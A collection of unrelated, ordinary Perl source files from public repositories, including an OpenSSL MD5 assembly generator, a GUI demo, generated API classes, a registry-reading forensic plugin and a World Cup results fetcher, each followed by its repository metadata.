round4_step( 0,'%ecx','%edx','%eax','%ebx', '1','0xffeff47d','15');
round4_step( 0,'%ebx','%ecx','%edx','%eax', '8','0x85845dd1','21');
round4_step( 0,'%eax','%ebx','%ecx','%edx','15','0x6fa87e4f', '6');
round4_step( 0,'%edx','%eax','%ebx','%ecx', '6','0xfe2ce6e0','10');
round4_step( 0,'%ecx','%edx','%eax','%ebx','13','0xa3014314','15');
round4_step( 0,'%ebx','%ecx','%edx','%eax', '4','0x4e0811a1','21');
round4_step( 0,'%eax','%ebx','%ecx','%edx','11','0xf7537e82', '6');
round4_step( 0,'%edx','%eax','%ebx','%ecx', '2','0xbd3af235','10');
round4_step( 0,'%ecx','%edx','%eax','%ebx', '9','0x2ad7d2bb','15');
round4_step( 1,'%ebx','%ecx','%edx','%eax', '0','0xeb86d391','21');
$code .= <<EOF;
# add old values of A, B, C, D
add %r8d, %eax
add %r9d, %ebx
add %r14d, %ecx
add %r15d, %edx
# loop control
add \$64, %rsi # ptr += 64
cmp %rdi, %rsi # cmp end with ptr
jb .Lloop # jmp if ptr < end
# END of loop over 16-word blocks
.Lend:
mov %eax, 0*4(%rbp) # ctx->A = A
mov %ebx, 1*4(%rbp) # ctx->B = B
mov %ecx, 2*4(%rbp) # ctx->C = C
mov %edx, 3*4(%rbp) # ctx->D = D
mov (%rsp),%r15
mov 8(%rsp),%r14
mov 16(%rsp),%r12
mov 24(%rsp),%rbx
mov 32(%rsp),%rbp
add \$40,%rsp
.Lepilogue:
ret
.size md5_block_asm_data_order,.-md5_block_asm_data_order
EOF
# EXCEPTION_DISPOSITION handler (EXCEPTION_RECORD *rec,ULONG64 frame,
# CONTEXT *context,DISPATCHER_CONTEXT *disp)
if ($win64) {
my $rec="%rcx";
my $frame="%rdx";
my $context="%r8";
my $disp="%r9";
$code.=<<___;
.extern __imp_RtlVirtualUnwind
.type se_handler,\@abi-omnipotent
.align 16
se_handler:
push %rsi
push %rdi
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
pushfq
sub \$64,%rsp
mov 120($context),%rax # pull context->Rax
mov 248($context),%rbx # pull context->Rip
lea .Lprologue(%rip),%r10
cmp %r10,%rbx # context->Rip<.Lprologue
jb .Lin_prologue
mov 152($context),%rax # pull context->Rsp
lea .Lepilogue(%rip),%r10
cmp %r10,%rbx # context->Rip>=.Lepilogue
jae .Lin_prologue
lea 40(%rax),%rax
mov -8(%rax),%rbp
mov -16(%rax),%rbx
mov -24(%rax),%r12
mov -32(%rax),%r14
mov -40(%rax),%r15
mov %rbx,144($context) # restore context->Rbx
mov %rbp,160($context) # restore context->Rbp
mov %r12,216($context) # restore context->R12
mov %r14,232($context) # restore context->R14
mov %r15,240($context) # restore context->R15
.Lin_prologue:
mov 8(%rax),%rdi
mov 16(%rax),%rsi
mov %rax,152($context) # restore context->Rsp
mov %rsi,168($context) # restore context->Rsi
mov %rdi,176($context) # restore context->Rdi
mov 40($disp),%rdi # disp->ContextRecord
mov $context,%rsi # context
mov \$154,%ecx # sizeof(CONTEXT)
.long 0xa548f3fc # cld; rep movsq
mov $disp,%rsi
xor %rcx,%rcx # arg1, UNW_FLAG_NHANDLER
mov 8(%rsi),%rdx # arg2, disp->ImageBase
mov 0(%rsi),%r8 # arg3, disp->ControlPc
mov 16(%rsi),%r9 # arg4, disp->FunctionEntry
mov 40(%rsi),%r10 # disp->ContextRecord
lea 56(%rsi),%r11 # &disp->HandlerData
lea 24(%rsi),%r12 # &disp->EstablisherFrame
mov %r10,32(%rsp) # arg5
mov %r11,40(%rsp) # arg6
mov %r12,48(%rsp) # arg7
mov %rcx,56(%rsp) # arg8, (NULL)
call *__imp_RtlVirtualUnwind(%rip)
mov \$1,%eax # ExceptionContinueSearch
add \$64,%rsp
popfq
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
pop %rdi
pop %rsi
ret
.size se_handler,.-se_handler
.section .pdata
.align 4
.rva .LSEH_begin_md5_block_asm_data_order
.rva .LSEH_end_md5_block_asm_data_order
.rva .LSEH_info_md5_block_asm_data_order
.section .xdata
.align 8
.LSEH_info_md5_block_asm_data_order:
.byte 9,0,0,0
.rva se_handler
___
}
print $code;
close STDOUT;
| jiangzhu1212/oooii | Ouroboros/External/OpenSSL/openssl-1.0.0e/crypto/md5/asm/md5-x86_64.pl | Perl | mit | 12,802 |
/* Part of XPCE --- The SWI-Prolog GUI toolkit
Author: Jan Wielemaker and Anjo Anjewierden
E-mail: jan@swi.psy.uva.nl
WWW: http://www.swi.psy.uva.nl/projects/xpce/
Copyright (c) 1995-2011, University of Amsterdam
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
:- module(juggler,
[ juggle_demo/0
]).
:- use_module(library(pce)).
:- require([ atomic_list_concat/2
, forall/2
, member/2
, send_list/3
]).
juggle_demo :-
new(_, juggler).
:- pce_begin_class(juggler, frame).
variable(timer, timer, get, "Timer for animation").
variable(speed, int, get, "Animations/second").
class_variable(geometry, geometry, '72x72+0+0', "Default geometry").
class_variable(speed, int, 10, "Animations/second").
:- pce_global(@juggler_popup, make_juggler_popup).
make_juggler_popup(P) :-
new(P, popup),
new(J, @arg1?frame),
send_list(P, append,
[ menu_item(stop, message(J, stop))
, menu_item(start, message(J, start))
, menu_item(speed, message(J, set_speed), @default, @on)
, menu_item(quit, message(J, free))
]).
initialise(F) :->
"Create a juggler-window"::
send(F, send_super, initialise, 'Juggler', popup),
send(F, append, new(P, picture)),
send(P, scrollbars, none),
send(P, popup, @juggler_popup),
send(P, icon, 'juggler1.bm', 'Juggler'),
send(P, display, new(Fig, figure)),
send(Fig, status, 1),
forall(member(N, [1,2,3,4,5]),
(atomic_list_concat([juggler, N, '.bm'], IconName),
new(I, bitmap(IconName)),
send(I, name, N),
send(Fig, display, I))),
send(F, slot, timer, new(T, timer(0.1, message(Fig, next_status)))),
send(T, start),
get(F, class_variable_value, speed, Speed),
send(F, speed, Speed),
send(F, open).
unlink(F) :->
send(F?timer, stop),
send(F, send_super, unlink).
speed(F, Speed:int) :->
"Set animations/second"::
Interval is 1 / Speed,
send(F?timer, interval, Interval),
send(F, slot, speed, Speed).
stop(F) :->
"Stop the juggler"::
send(F?timer, stop).
start(F) :->
"(Re)Start the juggler"::
send(F?timer, start).
set_speed(F) :->
"Popup a dialog to set the speed"::
new(D, dialog('Speed of juggler')),
send(D, append, new(S, slider(speed, 1, 50, F?speed,
message(F, speed, @arg1)))),
send(S, drag, @on),
send(D, append, button(quit, message(D, free))),
send(D, open).
:- pce_end_class.
| TeamSPoon/logicmoo_workspace | docker/rootfs/usr/local/lib/swipl/xpce/prolog/demo/juggler.pl | Perl | mit | 3,957 |
package Paws::CloudHSM::ListHsmsResponse;
use Moose;
has HsmList => (is => 'ro', isa => 'ArrayRef[Str|Undef]');
has NextToken => (is => 'ro', isa => 'Str');
has _request_id => (is => 'ro', isa => 'Str');
### main pod documentation begin ###
=head1 NAME
Paws::CloudHSM::ListHsmsResponse
=head1 ATTRIBUTES
=head2 HsmList => ArrayRef[Str|Undef]
The list of ARNs that identify the HSMs.
=head2 NextToken => Str
If not null, more results are available. Pass this value to C<ListHsms>
to retrieve the next set of items.
=head2 _request_id => Str
=cut
1; | ioanrogers/aws-sdk-perl | auto-lib/Paws/CloudHSM/ListHsmsResponse.pm | Perl | apache-2.0 | 572 |
package Google::Ads::AdWords::v201406::CampaignSharedSetError;
use strict;
use warnings;
__PACKAGE__->_set_element_form_qualified(1);
sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201406' };
our $XML_ATTRIBUTE_CLASS;
undef $XML_ATTRIBUTE_CLASS;
sub __get_attr_class {
return $XML_ATTRIBUTE_CLASS;
}
use base qw(Google::Ads::AdWords::v201406::ApiError);
# Variety: sequence
use Class::Std::Fast::Storable constructor => 'none';
use base qw(Google::Ads::SOAP::Typelib::ComplexType);
{ # BLOCK to scope variables
my %fieldPath_of :ATTR(:get<fieldPath>);
my %trigger_of :ATTR(:get<trigger>);
my %errorString_of :ATTR(:get<errorString>);
my %ApiError__Type_of :ATTR(:get<ApiError__Type>);
my %reason_of :ATTR(:get<reason>);
__PACKAGE__->_factory(
[ qw( fieldPath
trigger
errorString
ApiError__Type
reason
) ],
{
'fieldPath' => \%fieldPath_of,
'trigger' => \%trigger_of,
'errorString' => \%errorString_of,
'ApiError__Type' => \%ApiError__Type_of,
'reason' => \%reason_of,
},
{
'fieldPath' => 'SOAP::WSDL::XSD::Typelib::Builtin::string',
'trigger' => 'SOAP::WSDL::XSD::Typelib::Builtin::string',
'errorString' => 'SOAP::WSDL::XSD::Typelib::Builtin::string',
'ApiError__Type' => 'SOAP::WSDL::XSD::Typelib::Builtin::string',
'reason' => 'Google::Ads::AdWords::v201406::CampaignSharedSetError::Reason',
},
{
'fieldPath' => 'fieldPath',
'trigger' => 'trigger',
'errorString' => 'errorString',
'ApiError__Type' => 'ApiError.Type',
'reason' => 'reason',
}
);
} # end BLOCK
1;
=pod
=head1 NAME
Google::Ads::AdWords::v201406::CampaignSharedSetError
=head1 DESCRIPTION
Perl data type class for the XML Schema defined complexType
CampaignSharedSetError from the namespace https://adwords.google.com/api/adwords/cm/v201406.
=head2 PROPERTIES
The following properties may be accessed using get_PROPERTY / set_PROPERTY
methods:
=over
=item * reason
=back
=head1 METHODS
=head2 new
Constructor. The following data structure may be passed to new():
=head1 AUTHOR
Generated by SOAP::WSDL
=cut
| gitpan/GOOGLE-ADWORDS-PERL-CLIENT | lib/Google/Ads/AdWords/v201406/CampaignSharedSetError.pm | Perl | apache-2.0 | 2,231 |
#!/usr/bin/perl -w
#$FreeBSD: soc2013/dpl/head/sys/dev/cxgb/bin2h.pl 189686 2009-03-10 19:22:45Z gnn $
if ($#ARGV != 1) {
print "bin2h.pl <firmware> <headername>\n";
exit 1;
}
my $success = open INPUT, "$ARGV[0]";
unless ($success) {
print "failed to open input\n";
exit 1;
}
$success = open OUTPUT, ">$ARGV[1].h";
unless ($success) {
print "failed to open output\n";
exit 1;
}
my $license = <<END;
/**************************************************************************
Copyright (c) 2007-2009, Chelsio Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Neither the name of the Chelsio Corporation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN22
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
\$FreeBSD\$
***************************************************************************/
END
print OUTPUT "$license\n";
my $binary;
my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
$atime,$mtime,$ctime,$blksize,$blocks)
= stat($ARGV[0]);
print OUTPUT "#define U (unsigned char)\n\n";
print OUTPUT "static unsigned int $ARGV[1]_length = $size;\n";
print OUTPUT "static unsigned char $ARGV[1]" . "[$size]" . " = {\n";
for (my $i = 0; $i < $size; $i += 4) {
my $number_read = read(INPUT, $binary, 4);
my ($a, $b, $c, $d) = unpack("C C C C", $binary);
$buf = sprintf("\tU 0x%02X, U 0x%02X, U 0x%02X, U 0x%02X, \n", $a, $b, $c, $d);
print OUTPUT $buf;
}
print OUTPUT "};\n";
| dplbsd/zcaplib | head/sys/dev/cxgb/bin2h.pl | Perl | bsd-2-clause | 2,490 |
##**************************************************************
##
## Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,
## University of Wisconsin-Madison, WI.
##
## Licensed under the Apache License, Version 2.0 (the "License"); you
## may not use this file except in compliance with the License. You may
## obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by applicable law or agreed to in writing, software
## distributed under the License is distributed on an "AS IS" BASIS,
## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
## See the License for the specific language governing permissions and
## limitations under the License.
##
##**************************************************************
package ConfigTools;
#use CondorTest;
use base 'Exporter';
our @EXPORT = qw(GenerateMassive);
sub GenerateMassive {
my $argcount = @_;
my $iterations = shift;
my $storage = shift;
print "Current value for storage in GenerateMassive:$storage\n";
my $counter = 0;
my $pattern = "x";
my $unique = "unique";
my $genunique = "";
#sleep(10);
print "GenerateMassive:$iterations iterations\n";
print "arg count into GenerateMassive:$argcount\n";
if(defined $storage) {
"print storing via array reference passed in\n";
} else {
"Why are we missing an array reference in:GenerateMassive\n";
}
while($counter < $iterations) {
$genunique = "$unique$counter = $pattern";
push @{$storage},"$genunique\n";
#print "Try to add:$genunique to config\n";
$counter++;
$pattern = $pattern . "xxxxxxxxxxxx";
}
};
1;
| htcondor/htcondor | src/condor_tests/ConfigTools.pm | Perl | apache-2.0 | 1,642 |
#-----------------------------------------------------------
# banner
# Get banner information from the SOFTWARE hive file (if any)
#
# Written By:
# Special Agent Brook William Minnick
# Brook_Minnick@doioig.gov
# U.S. Department of the Interior - Office of Inspector General
# Computer Crimes Unit
# 12030 Sunrise Valley Drive Suite 250
# Reston, VA 20191
#-----------------------------------------------------------
package banner;
use strict;
my %config = (hive => "Software",
osmask => 22,
hasShortDescr => 1,
hasDescr => 0,
hasRefs => 0,
version => 20081119);
sub getConfig{return %config}
sub getShortDescr {
return "Get HKLM\\SOFTWARE.. Logon Banner Values";
}
sub getDescr{}
sub getRefs {}
sub getHive {return $config{hive};}
sub getVersion {return $config{version};}
my $VERSION = getVersion();
sub pluginmain {
my $class = shift;
my $hive = shift;
::logMsg("Launching banner v.".$VERSION);
::rptMsg("banner v.".$VERSION); # banner
::rptMsg("(".$config{hive}.") ".getShortDescr()."\n"); # banner
my $reg = Parse::Win32Registry->new($hive);
my $root_key = $reg->get_root_key;
my $key_path = "Microsoft\\Windows\\CurrentVersion\\policies\\system";
my $key;
if ($key = $root_key->get_subkey($key_path)) {
::rptMsg("Logon Banner Information");
::rptMsg($key_path);
::rptMsg("LastWrite Time ".gmtime($key->get_timestamp())." (UTC)");
::rptMsg("");
# GET LEGALNOTICECAPTION --
my $caption;
eval {
$caption = $key->get_value("Legalnoticecaption")->get_data();
};
if ($@) {
::rptMsg("Legalnoticecaption value not found.");
}
else {
::rptMsg("Legalnoticecaption value = ".$caption);
}
::rptMsg("");
# GET LEGALNOTICETEXT --
my $banner;
eval {
$banner = $key->get_value("Legalnoticetext")->get_data();
};
if ($@) {
::rptMsg("Legalnoticetext value not found.");
}
else {
::rptMsg("Legalnoticetext value = ".$banner);
}
::rptMsg("");
}
else {
::rptMsg($key_path." not found.");
::logMsg($key_path." not found.");
}
my $key_path = "Microsoft\\Windows NT\\CurrentVersion\\Winlogon";
my $key;
if ($key = $root_key->get_subkey($key_path)) {
::rptMsg($key_path);
::rptMsg("LastWrite Time ".gmtime($key->get_timestamp())." (UTC)");
::rptMsg("");
# GET LEGALNOTICECAPTION --
my $caption2;
eval {
$caption2 = $key->get_value("Legalnoticecaption")->get_data();
};
if ($@) {
::rptMsg("Legalnoticecaption value not found.");
}
else {
::rptMsg("Legalnoticecaption value = ".$caption2);
}
::rptMsg("");
# GET LEGALNOTICETEXT --
my $banner2;
eval {
$banner2 = $key->get_value("Legalnoticetext")->get_data();
};
if ($@) {
::rptMsg("Legalnoticetext value not found.");
}
else {
::rptMsg("Legalnoticetext value = ".$banner2);
}
::rptMsg("");
}
else {
::rptMsg($key_path." not found.");
::logMsg($key_path." not found.");
}
}
1; | mhmdfy/autopsy | RecentActivity/release/rr-full/plugins/banner.pl | Perl | apache-2.0 | 2,978 |
#!/usr/bin/perl
use strict;
use warnings;
use lib qw(blib/lib blib/arch/auto/Person);
use Time::HiRes qw(tv_interval gettimeofday);
use Person;
my $start;
my $elapsed;
my $REPEAT = 10000;
my $id = 123;
my $name = 'Bob';
my $email = 'bob@example.com';
my $data;
my $packed;
my $person = Person->new;
$start = [gettimeofday];
# Take the 'Person' protocol buffer through its life cycle.
foreach ( 1 .. $REPEAT ) {
$person->set_id($id);
$person->set_name($name);
$person->set_email($email);
$packed = $person->pack();
$person->clear();
$person->unpack($packed);
$id = $person->id();
$name = $person->name();
$email = $person->email();
}
$elapsed = tv_interval($start);
print "1) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n";
# Try again, but this time, populate the object with a hashref.
$data = { id => $id, name => $name, email => $email };
$start = [gettimeofday];
foreach ( 1 .. $REPEAT ) {
$person->copy_from($data);
$packed = $person->pack();
$person->clear();
$person->unpack($packed);
$data = $person->to_hashref();
}
$elapsed = tv_interval($start);
print "2) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n";
$start = [gettimeofday];
foreach ( 1 .. $REPEAT ) {
$person = Person->new($data);
$data = $person->to_hashref();
}
$elapsed = tv_interval($start);
print "3) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n";
$start = [gettimeofday];
foreach ( 1 .. $REPEAT ) {
$packed = Person->new($data)->pack;
}
$elapsed = tv_interval($start);
print "4) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n";
$start = [gettimeofday];
foreach ( 1 .. $REPEAT ) {
$data = Person->new(Person->new($data)->pack)->to_hashref;
}
$elapsed = tv_interval($start);
print "5) [$id] $name <$email>: $REPEAT iterations in $elapsed seconds.\n";
| sombr/protobuf-perlxs | examples/simple/test.pl | Perl | apache-2.0 | 1,899 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by mktables from the Unicode
# database, Version 6.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or existence of this file are subject to change without notice. Don't
# use it directly.
return <<'END';
0021 002F
003A 0040
005B 0060
007B 007E
00A1
00A7
00AB
00B6 00B7
00BB
00BF
037E
0387
055A 055F
0589 058A
05BE
05C0
05C3
05C6
05F3 05F4
0609 060A
060C 060D
061B
061E 061F
066A 066D
06D4
0700 070D
07F7 07F9
0830 083E
085E
0964 0965
0970
0AF0
0DF4
0E4F
0E5A 0E5B
0F04 0F12
0F14
0F3A 0F3D
0F85
0FD0 0FD4
0FD9 0FDA
104A 104F
10FB
1360 1368
1400
166D 166E
169B 169C
16EB 16ED
1735 1736
17D4 17D6
17D8 17DA
1800 180A
1944 1945
1A1E 1A1F
1AA0 1AA6
1AA8 1AAD
1B5A 1B60
1BFC 1BFF
1C3B 1C3F
1C7E 1C7F
1CC0 1CC7
1CD3
2010 2027
2030 2043
2045 2051
2053 205E
207D 207E
208D 208E
2329 232A
2768 2775
27C5 27C6
27E6 27EF
2983 2998
29D8 29DB
29FC 29FD
2CF9 2CFC
2CFE 2CFF
2D70
2E00 2E2E
2E30 2E3B
3001 3003
3008 3011
3014 301F
3030
303D
30A0
30FB
A4FE A4FF
A60D A60F
A673
A67E
A6F2 A6F7
A874 A877
A8CE A8CF
A8F8 A8FA
A92E A92F
A95F
A9C1 A9CD
A9DE A9DF
AA5C AA5F
AADE AADF
AAF0 AAF1
ABEB
FD3E FD3F
FE10 FE19
FE30 FE52
FE54 FE61
FE63
FE68
FE6A FE6B
FF01 FF03
FF05 FF0A
FF0C FF0F
FF1A FF1B
FF1F FF20
FF3B FF3D
FF3F
FF5B
FF5D
FF5F FF65
10100 10102
1039F
103D0
10857
1091F
1093F
10A50 10A58
10A7F
10B39 10B3F
11047 1104D
110BB 110BC
110BE 110C1
11140 11143
111C5 111C8
12470 12473
END
| Dokaponteam/ITF_Project | xampp/perl/lib/unicore/lib/Perl/XPosixPu.pl | Perl | mit | 1,656 |
package Mojolicious::Command::inflate;
use Mojo::Base 'Mojolicious::Command';
use Mojo::Loader qw(data_section file_is_binary);
use Mojo::Util 'encode';
has description => 'Inflate embedded files to real files';
has usage => sub { shift->extract_usage };
sub run {
my $self = shift;
# Find all embedded files
my %all;
my $app = $self->app;
for my $class (@{$app->renderer->classes}, @{$app->static->classes}) {
for my $name (keys %{data_section $class}) {
my $data = data_section $class, $name;
$data = encode 'UTF-8', $data unless file_is_binary $class, $name;
$all{$name} = $data;
}
}
# Turn them into real files
for my $name (grep {/\.\w+$/} keys %all) {
my $prefix = $name =~ /\.\w+\.\w+$/ ? 'templates' : 'public';
$self->write_file($self->rel_file("$prefix/$name"), $all{$name});
}
}
1;
=encoding utf8
=head1 NAME
Mojolicious::Command::inflate - Inflate command
=head1 SYNOPSIS
Usage: APPLICATION inflate [OPTIONS]
./myapp.pl inflate
Options:
-h, --help Show this summary of available options
--home <path> Path to home directory of your application, defaults to
the value of MOJO_HOME or auto-detection
-m, --mode <name> Operating mode for your application, defaults to the
value of MOJO_MODE/PLACK_ENV or "development"
=head1 DESCRIPTION
L<Mojolicious::Command::inflate> turns templates and static files embedded in
the C<DATA> sections of your application into real files.
This is a core command, that means it is always enabled and its code a good
example for learning to build new commands, you're welcome to fork it.
See L<Mojolicious::Commands/"COMMANDS"> for a list of commands that are
available by default.
=head1 ATTRIBUTES
L<Mojolicious::Command::inflate> inherits all attributes from
L<Mojolicious::Command> and implements the following new ones.
=head2 description
my $description = $inflate->description;
$inflate = $inflate->description('Foo');
Short description of this command, used for the command list.
=head2 usage
my $usage = $inflate->usage;
$inflate = $inflate->usage('Foo');
Usage information for this command, used for the help screen.
=head1 METHODS
L<Mojolicious::Command::inflate> inherits all methods from
L<Mojolicious::Command> and implements the following new ones.
=head2 run
$inflate->run(@ARGV);
Run this command.
=head1 SEE ALSO
L<Mojolicious>, L<Mojolicious::Guides>, L<http://mojolicious.org>.
=cut
| ashkanx/binary-mt | scripts/local/lib/perl5/Mojolicious/Command/inflate.pm | Perl | apache-2.0 | 2,532 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is built by mktables from e.g. UnicodeData.txt.
# Any changes made here will be lost!
#
# This file supports:
# \p{N}
# \p{N} (and fuzzy permutations)
#
# Meaning: Major Category 'N'
#
return <<'END';
0030 0039
00B2 00B3
00B9
00BC 00BE
0660 0669
06F0 06F9
07C0 07C9
0966 096F
09E6 09EF
09F4 09F9
0A66 0A6F
0AE6 0AEF
0B66 0B6F
0BE6 0BF2
0C66 0C6F
0C78 0C7E
0CE6 0CEF
0D66 0D75
0E50 0E59
0ED0 0ED9
0F20 0F33
1040 1049
1090 1099
1369 137C
16EE 16F0
17E0 17E9
17F0 17F9
1810 1819
1946 194F
19D0 19D9
1B50 1B59
1BB0 1BB9
1C40 1C49
1C50 1C59
2070
2074 2079
2080 2089
2153 2182
2185 2188
2460 249B
24EA 24FF
2776 2793
2CFD
3007
3021 3029
3038 303A
3192 3195
3220 3229
3251 325F
3280 3289
32B1 32BF
A620 A629
A8D0 A8D9
A900 A909
AA50 AA59
FF10 FF19
10107 10133
10140 10178
1018A
10320 10323
10341
1034A
103D1 103D5
104A0 104A9
10916 10919
10A40 10A47
12400 12462
1D360 1D371
1D7CE 1D7FF
END
| leighpauls/k2cro4 | third_party/cygwin/lib/perl5/5.10/unicore/lib/gc_sc/N.pl | Perl | bsd-3-clause | 1,020 |
use strict;
use CXGN::Page;
my $page=CXGN::Page->new('chr1c.html','html2pl converter');
$page->header('Chromosome 1');
print<<END_HEREDOC;
<br />
<br />
<center>
<h1><a href="chr1_split.pl">Chromosome 1</a></h1>
<h3>- Section C -</h3>
<br />
<br />
<table summary="">
<tr>
<td align="right" valign="top"><img alt="" align="left"
src="/documents/maps/tomato_arabidopsis/map_images/chr1c.png" border="none" /></td>
</tr>
</table>
</center>
END_HEREDOC
$page->footer(); | solgenomics/sgn | cgi-bin/maps/tomato_arabidopsis/chr1c.pl | Perl | mit | 525 |
package WorldCup::Command::matches;
# ABSTRACT: All match data, updated every minute.
use strict;
use warnings;
use WorldCup -command;
use JSON;
use LWP::UserAgent;
use File::Basename;
use Term::ANSIColor;
sub opt_spec {
return (
[ "outfile|o=s", "A file to place the match data information" ],
);
}
sub validate_args {
my ($self, $opt, $args) = @_;
my $command = __FILE__;
if ($self->app->global_options->{man}) {
system([0..5], "perldoc $command");
}
else {
$self->usage_error("Too many arguments.") if @$args;
}
}
sub execute {
my ($self, $opt, $args) = @_;
exit(0) if $self->app->global_options->{man};
my $outfile = $opt->{outfile};
my $datetime = $opt->{datetime};
my $result = _fetch_matches($outfile, $datetime);
}
sub _fetch_matches {
my ($outfile, $datetime) = @_;
my $out;
if ($outfile) {
open $out, '>', $outfile or die "\nERROR: Could not open file: $!\n";
}
else {
$out = \*STDOUT;
}
my $ua = LWP::UserAgent->new;
my $urlbase = 'http://worldcup.sfg.io/matches';
my $response = $ua->get($urlbase);
unless ($response->is_success) {
die "Can't get url $urlbase -- ", $response->status_line;
}
my $matches = decode_json($response->content);
printf $out "%14s %s %s ", "HOME", " ", " AWAY";
print $out "(";
if ($outfile) {
print $out sprintf("%s ", 'Win');
print $out sprintf("%s ", 'Loss');
print $out sprintf("%s", 'Draw');
}
else {
print $out colored( sprintf("%s ", 'Win'), 'yellow');
print $out colored( sprintf("%s ", 'Loss'), 'red');
print $out colored( sprintf("%s", 'Draw'), 'magenta');
}
print $out ")\n";
my %timeh;
for my $match (@$matches) {
my ($year, $month, $day, $time) = $match->{datetime} =~ /(\d\d\d\d)-(\d\d)-(\d\d)T(\d\d:\d\d)/;
if ( $match->{status} eq "completed" ) {
if ($outfile) {
print $out "$month/$day, $time\n" unless exists $timeh{$month.$day.$time};
}
else {
print $out colored("$month/$day, $time", 'bold underline'), "\n" unless exists $timeh{$month.$day.$time};
}
$timeh{$month.$day.$time} = 1;
if ($match->{home_team}{goals} > $match->{away_team}{goals}) {
if ($outfile) {
print $out sprintf("%14s ", $match->{home_team}{country});
printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals};
print $out sprintf(" %s\n", $match->{away_team}{country});
}
else {
print $out colored( sprintf("%14s ", $match->{home_team}{country}), 'yellow');
printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals};
print $out colored( sprintf(" %s\n", $match->{away_team}{country}), 'red');
}
}
elsif ($match->{home_team}{goals} < $match->{away_team}{goals}) {
if ($outfile) {
print $out sprintf("%14s ", $match->{home_team}{country});
printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals};
print $out sprintf(" %s\n", $match->{away_team}{country});
}
else {
print $out colored( sprintf("%14s ", $match->{home_team}{country}), 'red');
printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals};
print $out colored( sprintf(" %s\n", $match->{away_team}{country}), 'yellow');
}
}
else {
if ($outfile) {
print $out sprintf("%14s ", $match->{home_team}{country});
printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals};
print $out sprintf(" %s\n", $match->{away_team}{country});
}
else {
print $out colored( sprintf("%14s ", $match->{home_team}{country}), 'magenta');
printf $out "%d:%d", $match->{home_team}{goals}, $match->{away_team}{goals};
print $out colored( sprintf(" %s\n", $match->{away_team}{country}), 'magenta');
}
}
}
}
close $out;
}
1;
__END__
=pod
=head1 NAME
worldcup matches - Get the latest match information, up to the minute
=head1 SYNOPSIS
worldcup matches -o wcmatches
=head1 DESCRIPTION
Print the match results sorted by match time. By default, the results are displayed in color
for easy interpretation, though the results are not formatted if printing to a file.
=head1 AUTHOR
S. Evan Staton, C<< <statonse at gmail.com> >>
=head1 REQUIRED ARGUMENTS
=over 2
=item -o, --outfile
A file to place the World Cup match information
=back
=head1 OPTIONS
=over 2
=item -h, --help
Print a usage statement.
=item -m, --man
Print the full documentation.
=back
=cut
| sestaton/WorldCupStats | lib/WorldCup/Command/matches.pm | Perl | mit | 4,734 |
#
# $Header: svn://svn/SWM/trunk/web/RegoForm.pm 10840 2014-02-27 23:24:15Z apurcell $
#
package RegoForm;
require Exporter;
